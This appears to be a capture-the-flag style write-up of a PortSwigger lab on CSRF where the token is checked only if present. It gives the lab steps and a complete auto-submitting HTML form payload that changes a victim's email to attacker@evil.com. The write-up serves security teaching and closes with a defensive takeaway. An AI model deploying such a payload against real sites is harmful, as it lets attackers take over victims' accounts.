Security article

CSRF where token validation depends on token being present

CSRF where token validation depends on token being present: This lab’s email change functionality is vulnerable to CSRF. • PortSwigger • CSRF • lab3, csrf

2022-11-242 tags

🎯 Objective

This lab’s email change functionality is vulnerable to CSRF.

Goal: Use the exploit server to host an HTML page that changes the victim’s email address.

🧭 Steps Taken

Logged in using provided credentials:
- Username: wiener
- Password: peter
Intercepted the email change request in Burp.
Removed the CSRF token from the request to test validation.
Observed that the request was accepted without the token.

📄 Exploit Payload

The following HTML payload was hosted on the exploit server:

<html>
  <body>
    <form action="https://target.site/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

📸 Evidence

Exploit working

✅ Result

Victim’s email address was changed successfully.
The absence of proper CSRF validation allowed the exploit to succeed.

💡 Key Takeaway

Removing or ignoring CSRF tokens exposes critical functionality.
Always implement server-side CSRF token validation bound to the user’s session.

← Back to overview